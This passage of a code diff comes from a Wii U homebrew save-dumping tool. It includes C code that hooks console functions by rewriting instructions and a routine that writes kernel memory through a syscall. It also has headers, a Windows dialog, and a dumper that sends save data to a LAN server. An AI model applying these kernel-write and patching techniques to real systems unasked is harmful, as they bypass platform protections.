||||
void *call;
|
||||
} *magic = (struct magic_t *)fs_magic;
|
||||
unsigned int len = fs_magic_len / sizeof(struct magic_t);
|
||||
|
||||
/* Patch branches to it. */
|
||||
volatile int *space = (volatile int *)(0xa0000000 + fs_text_addr + fs_text_len);
|
||||
while (len--) {
|
||||
int real_addr = (int)magic[len].real;
|
||||
int repl_addr = (int)magic[len].replacement;
|
||||
int call_addr = (int)magic[len].call;
|
||||
|
||||
// set pointer to the real function
|
||||
*(volatile int *)(0xa0000000 + call_addr) = (int)space - 0xa0000000;
|
||||
|
||||
// fill the pointer of the real function
|
||||
*space = *(volatile int *)(0xa0000000 + real_addr);
|
||||
space++;
|
||||
|
||||
// jump to real function skipping the "mflr r0" instruction
|
||||
*space = 0x48000002 | ((real_addr + 4) & 0x03fffffc);
|
||||
space++;
|
||||
DCFlushRange((void*)space - 2, 8);
|
||||
ICInvalidateRange((void*)space - 2, 8);
|
||||
|
||||
// in the real function, replace the "mflr r0" instruction by a jump to the replacement function
|
||||
*(volatile int *)(0xa0000000 + real_addr) = 0x48000002 | (repl_addr & 0x03fffffc);
|
||||
DCFlushRange((int *)(0xa0000000 + real_addr), 4);
|
||||
ICInvalidateRange((int *)(0xa0000000 + real_addr), 4);
|
||||
}
|
||||
unsigned int *socket_finish = (unsigned int *)((char *)socket_lib_finish + 0xa0000000);
|
||||
socket_finish[0] = 0x38600000;
|
||||
socket_finish[1] = 0x4e800020;
|
||||
|
||||
/* The fix for Splatoon and such */
|
||||
kern_write(KERN_ADDRESS_TBL + (0x12 * 4), 0x00000000);
|
||||
kern_write(KERN_ADDRESS_TBL + (0x13 * 4), 0x14000000);
|
||||
}
|
||||
|
||||
/* Write a 32-bit word with kernel permissions */
|
||||
void kern_write(void *addr, uint32_t value)
|
||||
{
|
||||
asm(
|
||||
"li 3,1\n"
|
||||
"li 4,0\n"
|
||||
"mr 5,%1\n"
|
||||
"li 6,0\n"
|
||||
"li 7,0\n"
|
||||
"lis 8,1\n"
|
||||
"mr 9,%0\n"
|
||||
"mr %1,1\n"
|
||||
"li 0,0x3500\n"
|
||||
"sc\n"
|
||||
"nop\n"
|
||||
"mr 1,%1\n"
|
||||
:
|
||||
:"r"(addr), "r"(value)
|
||||
:"memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10",
|
||||
"11", "12"
|
||||
);
|
||||
}
|
@ -1,7 +0,0 @@
|
||||
#ifndef SAVIINE_H
|
||||
#define SAVIINE_H
|
||||
|
||||
/* Include base types */
|
||||
#include "../common/types.h"
|
||||
|
||||
#endif /* SAVIINE_H */
|
Binary file not shown.
@ -1,9 +0,0 @@
|
||||
G:\Programmieren\libwiiu-master\saviinet\saviine\saviine\server\src\bin\saviine_server.exe.config
|
||||
G:\Programmieren\libwiiu-master\saviinet\saviine\saviine\server\src\bin\saviine_server.exe
|
||||
G:\Programmieren\libwiiu-master\saviinet\saviine\saviine\server\src\bin\saviine_server.pdb
|
||||
G:\Programmieren\libwiiu-master\saviinet\saviine\saviine\server\src\obj\x86\Debug\saviine_server.exe
|
||||
G:\Programmieren\libwiiu-master\saviinet\saviine\saviine\server\src\obj\x86\Debug\saviine_server.pdb
|
||||
G:\Programmieren\libwiiu-master\saviinet\saviine\saviine\server\src\obj\x86\Debug\saviine_server.csproj.GenerateResource.Cache
|
||||
G:\Programmieren\libwiiu-master\saviinet\saviine\saviine\server\src\obj\x86\Debug\saviine_server.SaveSelectorDialog.resources
|
||||
G:\Programmieren\libwiiu-master\saviinet\saviine\saviine\server\src\obj\x86\Debug\saviine_server.csprojResolveAssemblyReference.cache
|
||||
G:\Programmieren\libwiiu-master\saviinet\saviine\saviine\server\src\obj\x86\Debug\saviine_server.DumpDialog.resources
|
Binary file not shown.
140
server/src/DumpDialog.Designer.cs
generated
Normal file
140
server/src/DumpDialog.Designer.cs
generated
Normal file
@ -0,0 +1,140 @@
|
||||
namespace saviine_server
|
||||
{
|
||||
partial class DumpDialog
|
||||
{
|
||||
/// <summary>
|
||||
/// Required designer variable.
|
||||
/// </summary>
|
||||
private System.ComponentModel.IContainer components = null;
|
||||
|
||||
/// <summary>
|
||||
/// Clean up any resources being used.
|
||||
/// </summary>
|
||||
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && (components != null))
|
||||
{
|
||||
components.Dispose();
|
||||
}
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
#region Windows Form Designer generated code
|
||||
|
||||
/// <summary>
|
||||
/// Required method for Designer support - do not modify
|
||||
/// the contents of this method with the code editor.
|
||||
/// </summary>
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.btn_ok = new System.Windows.Forms.Button();
|
||||
this.btn_cancel = new System.Windows.Forms.Button();
|
||||
this.lbl_message = new System.Windows.Forms.Label();
|
||||
this.label1 = new System.Windows.Forms.Label();
|
||||
this.Inj = new System.Windows.Forms.Label();
|
||||
this.checkBoxUser = new System.Windows.Forms.CheckBox();
|
||||
this.checkBoxCommon = new System.Windows.Forms.CheckBox();
|
||||
this.SuspendLayout();
|
||||
//
|
||||
// btn_ok
|
||||
//
|
||||
this.btn_ok.DialogResult = System.Windows.Forms.DialogResult.OK;
|
||||
this.btn_ok.Location = new System.Drawing.Point(15, 133);
|
||||
this.btn_ok.Name = "btn_ok";
|
||||
this.btn_ok.Size = new System.Drawing.Size(81, 21);
|
||||
this.btn_ok.TabIndex = 0;
|
||||
this.btn_ok.Text = "OK";
|
||||
this.btn_ok.UseVisualStyleBackColor = true;
|
||||
this.btn_ok.Click += new System.EventHandler(this.btn_ok_Click);
|
||||
//
|
||||
// btn_cancel
|
||||
//
|
||||
this.btn_cancel.DialogResult = System.Windows.Forms.DialogResult.Cancel;
|
||||
this.btn_cancel.Location = new System.Drawing.Point(148, 133);
|
||||
this.btn_cancel.Name = "btn_cancel";
|
||||
this.btn_cancel.Size = new System.Drawing.Size(81, 21);
|
||||
this.btn_cancel.TabIndex = 1;
|
||||
this.btn_cancel.Text = "Cancel";
|
||||
this.btn_cancel.UseVisualStyleBackColor = true;
|
||||
//
|
||||
// lbl_message
|
||||
//
|
||||
this.lbl_message.AutoSize = true;
|
||||
this.lbl_message.Location = new System.Drawing.Point(12, 9);
|
||||
this.lbl_message.Name = "lbl_message";
|
||||
this.lbl_message.Size = new System.Drawing.Size(217, 13);
|
||||
this.lbl_message.TabIndex = 3;
|
||||
this.lbl_message.Text = "Got a dump request";
|
||||
//
|
||||
// label1
|
||||
//
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Location = new System.Drawing.Point(12, 51);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new System.Drawing.Size(84, 13);
|
||||
this.label1.TabIndex = 5;
|
||||
this.label1.Text = "Dump user save";
|
||||
//
|
||||
// Inj
|
||||
//
|
||||
this.Inj.AutoSize = true;
|
||||
this.Inj.Location = new System.Drawing.Point(12, 86);
|
||||
this.Inj.Name = "Inj";
|
||||
this.Inj.Size = new System.Drawing.Size(104, 13);
|
||||
this.Inj.TabIndex = 7;
|
||||
this.Inj.Text = "Dump common save";
|
||||
//
|
||||
// checkBoxUser
|
||||
//
|
||||
this.checkBoxUser.AutoSize = true;
|
||||
this.checkBoxUser.Checked = true;
|
||||
this.checkBoxUser.CheckState = System.Windows.Forms.CheckState.Checked;
|
||||
this.checkBoxUser.Location = new System.Drawing.Point(202, 50);
|
||||
this.checkBoxUser.Name = "checkBoxUser";
|
||||
this.checkBoxUser.Size = new System.Drawing.Size(15, 14);
|
||||
this.checkBoxUser.TabIndex = 9;
|
||||
this.checkBoxUser.UseVisualStyleBackColor = true;
|
||||
//
|
||||
// checkBoxCommon
|
||||
//
|
||||
this.checkBoxCommon.AutoSize = true;
|
||||
this.checkBoxCommon.Checked = true;
|
||||
this.checkBoxCommon.CheckState = System.Windows.Forms.CheckState.Checked;
|
||||
this.checkBoxCommon.Location = new System.Drawing.Point(202, 85);
|
||||
this.checkBoxCommon.Name = "checkBoxCommon";
|
||||
this.checkBoxCommon.Size = new System.Drawing.Size(15, 14);
|
||||
this.checkBoxCommon.TabIndex = 10;
|
||||
this.checkBoxCommon.UseVisualStyleBackColor = true;
|
||||
//
|
||||
// DumpDialog
|
||||
//
|
||||
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
|
||||
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
||||
this.ClientSize = new System.Drawing.Size(257, 166);
|
||||
this.Controls.Add(this.checkBoxCommon);
|
||||
this.Controls.Add(this.checkBoxUser);
|
||||
this.Controls.Add(this.Inj);
|
||||
this.Controls.Add(this.label1);
|
||||
this.Controls.Add(this.lbl_message);
|
||||
this.Controls.Add(this.btn_cancel);
|
||||
this.Controls.Add(this.btn_ok);
|
||||
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;
|
||||
this.Name = "DumpDialog";
|
||||
this.Text = "Dump request";
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
private System.Windows.Forms.Button btn_ok;
|
||||
private System.Windows.Forms.Button btn_cancel;
|
||||
private System.Windows.Forms.Label lbl_message;
|
||||
private System.Windows.Forms.Label label1;
|
||||
private System.Windows.Forms.Label Inj;
|
||||
private System.Windows.Forms.CheckBox checkBoxUser;
|
||||
private System.Windows.Forms.CheckBox checkBoxCommon;
|
||||
}
|
||||
}
|
56
src/common/common.h
Normal file
56
src/common/common.h
Normal file
@ -0,0 +1,56 @@
|
||||
#ifndef COMMON_H
|
||||
#define COMMON_H
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#include "os_defs.h"
|
||||
|
||||
#define CAFE_OS_SD_PATH "/vol/external01"
|
||||
#define SD_PATH "sd:"
|
||||
#define WIIU_PATH "/wiiu"
|
||||
|
||||
/* Macros for libs */
|
||||
#define LIB_CORE_INIT 0
|
||||
#define LIB_NSYSNET 1
|
||||
#define LIB_GX2 2
|
||||
// none dynamic libs
|
||||
#define LIB_LOADER 0x1001
|
||||
|
||||
|
||||
#ifndef MEM_BASE
|
||||
#define MEM_BASE (0x00800000)
|
||||
#endif
|
||||
|
||||
#define ELF_DATA_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x00))
|
||||
#define ELF_DATA_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x04))
|
||||
#define MAIN_ENTRY_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x00))
|
||||
#define OS_FIRMWARE (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x04))
|
||||
|
||||
#define OS_SPECIFICS ((OsSpecifics*)(MEM_BASE + 0x1500))
|
||||
|
||||
#ifndef EXIT_SUCCESS
|
||||
#define EXIT_SUCCESS 0
|
||||
#endif
|
||||
#define EXIT_HBL_EXIT 0xFFFFFFFE
|
||||
#define EXIT_RELAUNCH_ON_LOAD 0xFFFFFFFD
|
||||
|
||||
#define RESTORE_INSTR_MAGIC 0xC001C0DE
|
||||
#define RESTORE_INSTR_ADDR ((restore_instructions_t*)(MEM_BASE + 0x1600))
|
||||
|
||||
typedef struct _restore_instructions_t {
|
||||
unsigned int magic;
|
||||
unsigned int instr_count;
|
||||
struct {
|
||||
unsigned int addr;
|
||||
unsigned int instr;
|
||||
} data[0];
|
||||
} restore_instructions_t;
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* COMMON_H */
|
||||
|
67
src/common/fs_defs.h
Normal file
67
src/common/fs_defs.h
Normal file
@ -0,0 +1,67 @@
|
||||
#ifndef FS_DEFS_H
|
||||
#define FS_DEFS_H
|
||||
|
||||
#include "types.h"
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
|
||||
/* FS defines and types */
|
||||
#define FS_MAX_LOCALPATH_SIZE 511
|
||||
#define FS_MAX_MOUNTPATH_SIZE 128
|
||||
#define FS_MAX_FULLPATH_SIZE (FS_MAX_LOCALPATH_SIZE + FS_MAX_MOUNTPATH_SIZE)
|
||||
#define FS_MAX_ARGPATH_SIZE FS_MAX_FULLPATH_SIZE
|
||||
|
||||
#define FS_STATUS_OK 0
|
||||
#define FS_STATUS_EXISTS -5
|
||||
#define FS_STATUS_STORAGE_FULL -12
|
||||
#define FS_STATUS_JOURNAL_FULL -13
|
||||
|
||||
#define FS_RET_UNSUPPORTED_CMD 0x0400
|
||||
#define FS_RET_NO_ERROR 0x0000
|
||||
#define FS_RET_ALL_ERROR (unsigned int)(-1)
|
||||
|
||||
|
||||
#define FS_STAT_FLAG_IS_DIRECTORY 0x80000000
|
||||
|
||||
/* max length of file/dir name */
|
||||
#define FS_MAX_ENTNAME_SIZE 256
|
||||
|
||||
#define FS_SOURCETYPE_EXTERNAL 0
|
||||
#define FS_SOURCETYPE_HFIO 1
|
||||
#define FS_SOURCETYPE_HFIO 1
|
||||
|
||||
#define FS_MOUNT_SOURCE_SIZE 0x300
|
||||
#define FS_CLIENT_SIZE 0x1700
|
||||
#define FS_CMD_BLOCK_SIZE 0xA80
|
||||
|
||||
typedef struct
|
||||
{
|
||||
uint32_t flag;
|
||||
uint32_t permission;
|
||||
uint32_t owner_id;
|
||||
uint32_t group_id;
|
||||
uint32_t size;
|
||||
uint32_t alloc_size;
|
||||
uint64_t quota_size;
|
||||
uint32_t ent_id;
|
||||
uint64_t ctime;
|
||||
uint64_t mtime;
|
||||
uint8_t attributes[48];
|
||||
} __attribute__((packed)) FSStat;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
FSStat stat;
|
||||
char name[FS_MAX_ENTNAME_SIZE];
|
||||
} FSDirEntry;
|
||||
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* FS_DEFS_H */
|
||||
|
116
src/common/kernel_defs.h
Normal file
116
src/common/kernel_defs.h
Normal file
@ -0,0 +1,116 @@
|
||||
#ifndef __KERNEL_DEFS_H_
|
||||
#define __KERNEL_DEFS_H_
|
||||
|
||||
#include "types.h"
|
||||
#include "fs_defs.h"
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
// original structure in the kernel that is originally 0x1270 long
|
||||
typedef struct
|
||||
{
|
||||
uint32_t version_cos_xml; // version tag from cos.xml
|
||||
uint64_t os_version; // os_version from app.xml
|
||||
uint64_t title_id; // title_id tag from app.xml
|
||||
uint32_t app_type; // app_type tag from app.xml
|
||||
uint32_t cmdFlags; // unknown tag as it is always 0 (might be cmdFlags from cos.xml but i am not sure)
|
||||
char rpx_name[0x1000]; // rpx name from cos.xml
|
||||
uint32_t unknown2; // 0x050B8304 in mii maker and system menu (looks a bit like permissions complex that got masked!?)
|
||||
uint32_t unknown3[63]; // those were all zeros, but its probably connected with unknown2
|
||||
uint32_t max_size; // max_size in cos.xml which defines the maximum amount of memory reserved for the app
|
||||
uint32_t avail_size; // avail_size or codegen_size in cos.xml (seems to mostly be 0?)
|
||||
uint32_t codegen_size; // codegen_size or avail_size in cos.xml (seems to mostly be 0?)
|
||||
uint32_t codegen_core; // codegen_core in cos.xml (seems to mostly be 1?)
|
||||
uint32_t max_codesize; // max_codesize in cos.xml
|
||||
uint32_t overlay_arena; // overlay_arena in cos.xml
|
||||
uint32_t unknown4[59]; // all zeros it seems
|
||||
uint32_t default_stack0_size; // not sure because always 0 but very likely
|
||||
uint32_t default_stack1_size; // not sure because always 0 but very likely
|
||||
uint32_t default_stack2_size; // not sure because always 0 but very likely
|
||||
uint32_t default_redzone0_size; // not sure because always 0 but very likely
|
||||
uint32_t default_redzone1_size; // not sure because always 0 but very likely
|
||||
uint32_t default_redzone2_size; // not sure because always 0 but very likely
|
||||
uint32_t exception_stack0_size; // from cos.xml, 0x1000 on mii maker
|
||||
uint32_t exception_stack1_size; // from cos.xml, 0x1000 on mii maker
|
||||
uint32_t exception_stack2_size; // from cos.xml, 0x1000 on mii maker
|
||||
uint32_t sdk_version; // from app.xml, 20909 (0x51AD) on mii maker
|
||||
uint32_t title_version; // from app.xml, 0x32 on mii maker
|
||||
/*
|
||||
// ---------------------------------------------------------------------------------------------------------------------------------------------
|
||||
// the next part might be changing from title to title?! I don't think its important but nice to know maybe....
|
||||
// ---------------------------------------------------------------------------------------------------------------------------------------------
|
||||
char mlc[4]; // string "mlc" on mii maker and sysmenu
|
||||
uint32_t unknown5[7]; // all zeros on mii maker and sysmenu
|
||||
uint32_t unknown6_one; // 0x01 on mii maker and sysmenu
|
||||
// ---------------------------------------------------------------------------------------------------------------------------------------------
|
||||
char ACP[4]; // string "ACP" on mii maker and sysmenu
|
||||
uint32_t unknown7[15]; // all zeros on mii maker and sysmenu
|
||||
uint32_t unknown8_5; // 0x05 on mii maker and sysmenu
|
||||
uint32_t unknown9_zero; // 0x00 on mii maker and sysmenu
|
||||
uint32_t unknown10_ptr; // 0xFF23DD0C pointer on mii maker and sysmenu
|
||||
// ---------------------------------------------------------------------------------------------------------------------------------------------
|
||||
char UVD[4]; // string "UVD" on mii maker and sysmenu
|
||||
uint32_t unknown11[15]; // all zeros on mii maker and sysmenu
|
||||
uint32_t unknown12_5; // 0x05 on mii maker and sysmenu
|
||||
uint32_t unknown13_zero; // 0x00 on mii maker and sysmenu
|
||||
uint32_t unknown14_ptr; // 0xFF23EFC8 pointer on mii maker and sysmenu
|
||||
// ---------------------------------------------------------------------------------------------------------------------------------------------
|
||||
char SND[4]; // string "SND" on mii maker and sysmenu
|
||||
uint32_t unknown15[15]; // all zeros on mii maker and sysmenu
|
||||
uint32_t unknown16_5; // 0x05 on mii maker and sysmenu
|
||||
uint32_t unknown17_zero; // 0x00 on mii maker and sysmenu
|
||||
uint32_t unknown18_ptr; // 0xFF23F014 pointer on mii maker and sysmenu
|
||||
// ---------------------------------------------------------------------------------------------------------------------------------------------
|
||||
uint32_t unknown19; // 0x02 on miimaker, 0x0F on system menu
|
||||
*/
|
||||
// after that only zeros follow
|
||||
} __attribute__((packed)) CosAppXmlInfo;
|
||||
|
||||
|
||||
// Our own cos/app.xml struct which uses only uses as much memory as really needed, since many things are just zeros in the above structure
|
||||
// This structure is only 0x64 bytes long + RPX name length (dynamic up to 0x1000 theoretically)
|
||||
typedef struct
|
||||
{
|
||||
uint32_t version_cos_xml; // version tag from cos.xml
|
||||
uint64_t os_version; // os_version from app.xml
|
||||
uint64_t title_id; // title_id tag from app.xml
|
||||
uint32_t app_type; // app_type tag from app.xml
|
||||
uint32_t cmdFlags; // unknown tag as it is always 0 (might be cmdFlags from cos.xml but i am not sure)
|
||||
uint32_t max_size; // max_size in cos.xml which defines the maximum amount of memory reserved for the app
|
||||
uint32_t avail_size; // avail_size or codegen_size in cos.xml (seems to mostly be 0?)
|
||||
uint32_t codegen_size; // codegen_size or avail_size in cos.xml (seems to mostly be 0?)
|
||||
uint32_t codegen_core; // codegen_core in cos.xml (seems to mostly be 1?)
|
||||
uint32_t max_codesize; // max_codesize in cos.xml
|
||||
uint32_t overlay_arena; // overlay_arena in cos.xml
|
||||
uint32_t default_stack0_size; // not sure because always 0 but very likely
|
||||
uint32_t default_stack1_size; // not sure because always 0 but very likely
|
||||
uint32_t default_stack2_size; // not sure because always 0 but very likely
|
||||
uint32_t default_redzone0_size; // not sure because always 0 but very likely
|
||||
uint32_t default_redzone1_size; // not sure because always 0 but very likely
|
||||
uint32_t default_redzone2_size; // not sure because always 0 but very likely
|
||||
uint32_t exception_stack0_size; // from cos.xml, 0x1000 on mii maker
|
||||
uint32_t exception_stack1_size; // from cos.xml, 0x1000 on mii maker
|
||||
uint32_t exception_stack2_size; // from cos.xml, 0x1000 on mii maker
|
||||
uint32_t sdk_version; // from app.xml, 20909 (0x51AD) on mii maker
|
||||
uint32_t title_version; // from app.xml, 0x32 on mii maker
|
||||
char rpx_name[FS_MAX_ENTNAME_SIZE]; // rpx name from cos.xml, length 256 as it can't get bigger from FS anyway
|
||||
} __attribute__((packed)) ReducedCosAppXmlInfo;
|
||||
|
||||
typedef struct _bat_t
|
||||
{
|
||||
u32 h;
|
||||
u32 l;
|
||||
} bat_t;
|
||||
|
||||
typedef struct _bat_table_t
|
||||
{
|
||||
bat_t bat[8];
|
||||
} bat_table_t;
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // __KERNEL_DEFS_H_
|
40
src/common/loader_defs.h
Normal file
40
src/common/loader_defs.h
Normal file
@ -0,0 +1,40 @@
|
||||
#ifndef __LOADER_DEFS_H_
|
||||
#define __LOADER_DEFS_H_
|
||||
|
||||
#include "types.h"
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
// struct holding the globals of the loader (there are actually more but we don't need others)
|
||||
typedef struct _loader_globals_t
|
||||
{
|
||||
int sgIsLoadingBuffer;
|
||||
int sgFileType;
|
||||
int sgProcId;
|
||||
int sgGotBytes;
|
||||
int sgFileOffset;
|
||||
int sgBufferNumber;
|
||||
int sgBounceError;
|
||||
char sgLoadName[0x1000];
|
||||
} __attribute__((packed)) loader_globals_t;
|
||||
|
||||
typedef struct _loader_globals_550_t
|
||||
{
|
||||
int sgFinishedLoadingBuffer;
|
||||
int sgFileType;
|
||||
int sgProcId;
|
||||
int sgGotBytes;
|
||||
int sgTotalBytes;
|
||||
int sgFileOffset;
|
||||
int sgBufferNumber;
|
||||
int sgBounceError;
|
||||
char sgLoadName[0x1000];
|
||||
} __attribute__((packed)) loader_globals_550_t;
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // __LOADER_DEFS_H_
|
25
src/common/os_defs.h
Normal file
25
src/common/os_defs.h
Normal file
@ -0,0 +1,25 @@
|
||||
#ifndef __OS_DEFS_H_
|
||||
#define __OS_DEFS_H_
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
typedef struct _OsSpecifics
|
||||
{
|
||||
unsigned int addr_OSDynLoad_Acquire;
|
||||
unsigned int addr_OSDynLoad_FindExport;
|
||||
unsigned int addr_OSTitle_main_entry;
|
||||
|
||||
unsigned int addr_KernSyscallTbl1;
|
||||
unsigned int addr_KernSyscallTbl2;
|
||||
unsigned int addr_KernSyscallTbl3;
|
||||
unsigned int addr_KernSyscallTbl4;
|
||||
unsigned int addr_KernSyscallTbl5;
|
||||
} OsSpecifics;
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // __OS_DEFS_H_
|
7
src/common/types.h
Normal file
7
src/common/types.h
Normal file
@ -0,0 +1,7 @@
|
||||
#ifndef TYPES_H
|
||||
#define TYPES_H
|
||||
|
||||
#include <gctypes.h>
|
||||
|
||||
#endif /* TYPES_H */
|
||||
|
553
src/discdumper.c
Normal file
553
src/discdumper.c
Normal file
@ -0,0 +1,553 @@
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <malloc.h>
|
||||
#include "common/kernel_defs.h"
|
||||
#include "dynamic_libs/os_functions.h"
|
||||
#include "dynamic_libs/fs_functions.h"
|
||||
#include "dynamic_libs/aoc_functions.h"
|
||||
#include "dynamic_libs/socket_functions.h"
|
||||
#include "dynamic_libs/sys_functions.h"
|
||||
#include "game/rpx_rpl_table.h"
|
||||
#include "game/memory_area_table.h"
|
||||
#include "utils/net.h"
|
||||
#include "discdumper.h"
|
||||
#include "utils/logger.h"
|
||||
|
||||
#define TITLE_LOCATION_ODD 0
|
||||
#define TITLE_LOCATION_USB 1
|
||||
#define TITLE_LOCATION_MLC 2
|
||||
|
||||
#define BUFFER_SIZE 0x400 * 101
|
||||
#define BUFFER_SIZE_STEPS 0x200
|
||||
|
||||
#define DEBUG_LOG 0
|
||||
|
||||
extern ReducedCosAppXmlInfo cosAppXmlInfoStruct;
|
||||
|
||||
//! setup some default IP
|
||||
static u32 serverIpAddress = 0xC0A800B5;
|
||||
|
||||
static int socket_saviine = -1;
|
||||
static int socket_log = -1;
|
||||
|
||||
void StartDumper()
|
||||
{
|
||||
void *pClient = NULL;
|
||||
void *pCmd = NULL;
|
||||
|
||||
do{
|
||||
pClient = malloc(FS_CLIENT_SIZE);
|
||||
if (!pClient)
|
||||
break;
|
||||
|
||||
pCmd = malloc(FS_CMD_BLOCK_SIZE);
|
||||
if (!pCmd)
|
||||
break;
|
||||
|
||||
|
||||
log_printf("StartDumper\n");
|
||||
FSInit();
|
||||
FSInitCmdBlock(pCmd);
|
||||
|
||||
FSAddClientEx(pClient, 0, -1);
|
||||
|
||||
log_printf("StartDumper\n");
|
||||
cafiine_connect(&socket_saviine,serverIpAddress);
|
||||
cafiine_connect(&socket_log,serverIpAddress);
|
||||
log_printf("StartDumper\n");
|
||||
|
||||
if(socket_saviine >= 0 && socket_log >= 0){
|
||||
handle_saves(pClient, pCmd,-1);
|
||||
}
|
||||
FSDelClient(pClient);
|
||||
|
||||
}while(0);
|
||||
|
||||
if(pCmd)
|
||||
free(pCmd);
|
||||
if(pClient)
|
||||
free(pClient);
|
||||
|
||||
if(socket_saviine >= 0)
|
||||
{
|
||||
cafiine_disconnect(socket_saviine);
|
||||
socket_saviine = -1;
|
||||
}
|
||||
if(socket_log >= 0)
|
||||
{
|
||||
cafiine_disconnect(socket_log);
|
||||
socket_log = -1;
|
||||
}
|
||||
}
|
||||
|
||||
void handle_saves(void *pClient, void *pCmd,int error){
|
||||
if(DEBUG_LOG) log_string(socket_log, "init", BYTE_LOG_STR);
|
||||
unsigned char slotNo;
|
||||
long id = getPesistentID(&slotNo);
|
||||
init_Save(slotNo);
|
||||
int mode;
|
||||
|
||||
if(DEBUG_LOG)log_string(socket_log, "getting mode", BYTE_LOG_STR);
|
||||
if(getMode(socket_saviine,&mode)){
|
||||
if(id >= 0x80000000 && id <= 0x90000000){
|
||||
char savepath[20];
|
||||
__os_snprintf(savepath, sizeof(savepath), "/vol/save/%08x",id);
|
||||
if(mode == BYTE_MODE_D){
|
||||
log_string(socket_log, "dump mode!", BYTE_LOG_STR);
|
||||
dumpSavaData(pClient, pCmd,id,error);
|
||||
}else if(mode == BYTE_MODE_I){
|
||||
log_string(socket_log, "inject mode", BYTE_LOG_STR);
|
||||
injectSaveData(pClient,pCmd,id,error);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void dumpSavaData(void *pClient, void *pCmd,long persistentID,int error){
|
||||
/*
|
||||
Allocate buffer for injection
|
||||
*/
|
||||
int buf_size = BUFFER_SIZE;
|
||||
char * pBuffer;
|
||||
int failed = 0;
|
||||
do{
|
||||
buf_size -= BUFFER_SIZE_STEPS;
|
||||
if(buf_size < 0){
|
||||
log_string(socket_log, "error on buffer allocation", BYTE_LOG_STR);
|
||||
failed = 1;
|
||||
break;
|
||||
}
|
||||
pBuffer = (char *)memalign(0x40,buf_size);
|
||||
if(pBuffer) memset(pBuffer, 0x00, buf_size);
|
||||
}while(!pBuffer);
|
||||
|
||||
if(!failed){
|
||||
int mask = 0;
|
||||
char buffer[60];
|
||||
__os_snprintf(buffer, sizeof(buffer), "allocated %d bytes",buf_size);
|
||||
log_string(socket_log, buffer, BYTE_LOG_STR);
|
||||
if(saviine_start_dump(socket_saviine, persistentID,&mask)){
|
||||
if((mask & MASK_USER) == MASK_USER){
|
||||
char savepath[20];
|
||||
__os_snprintf(savepath, sizeof(savepath), "/vol/save/%08x",persistentID);
|
||||
log_string(socket_log, "dumping user savedata", BYTE_LOG_STR);
|
||||
if(dump_dir(pClient,pCmd,savepath,pBuffer,buf_size,error,50) == -1){
|
||||
log_string(socket_log, "error dumping user dir", BYTE_LOG_STR);
|
||||
failed = 1;
|
||||
}
|
||||
}
|
||||
if((mask & MASK_COMMON) == MASK_COMMON && !failed){
|
||||
char * commonDir = "/vol/save/common";
|
||||
log_string(socket_log, "dumping common savedata", BYTE_LOG_STR);
|
||||
if(dump_dir(pClient,pCmd,commonDir,pBuffer,buf_size,error,60) == -1){
|
||||
log_string(socket_log, "error dumping common dir (maybe the game has no common folder?)", BYTE_LOG_STR);
|
||||
}
|
||||
}
|
||||
|
||||
log_string(socket_log, "done!", BYTE_LOG_STR);
|
||||
|
||||
if(!saviine_end_dump(socket_saviine)) if(DEBUG_LOG) log_string(socket_log, "saviine_end_injection() failed", BYTE_LOG_STR);
|
||||
if(DEBUG_LOG) log_string(socket_log, "end of dump", BYTE_LOG_STR);
|
||||
}else{
|
||||
log_string(socket_log, "saviine_start_dump() failed", BYTE_LOG_STR);
|
||||
}
|
||||
|
||||
if(DEBUG_LOG) log_string(socket_log, "free(pBuffer) coming next", BYTE_LOG_STR);
|
||||
free(pBuffer);
|
||||
if(DEBUG_LOG) log_string(socket_log, "free(pBuffer)", BYTE_LOG_STR);
|
||||
}
|
||||
}
|
||||
|
||||
int dump_dir(void *pClient, void *pCmd, char *path, void * pBuffer, int size,int error, int handle){
|
||||
int dir_handle = handle;
|
||||
int my_handle = handle +1;
|
||||
int ret = 0;
|
||||
int final_result = 0;
|
||||
if ((ret = FSOpenDir(pClient, pCmd, path, &dir_handle, FS_RET_ALL_ERROR)) == FS_STATUS_OK){
|
||||
char buffer[strlen(path) + 30];
|
||||
__os_snprintf(buffer, sizeof(buffer), "open dir %s",path);
|
||||
log_string(socket_log, buffer, BYTE_LOG_STR);
|
||||
FSDirEntry dir_entry;
|
||||
while (FSReadDir(pClient, pCmd, dir_handle, &dir_entry, FS_RET_ALL_ERROR) == FS_STATUS_OK && final_result == 0)
|
||||
{
|
||||
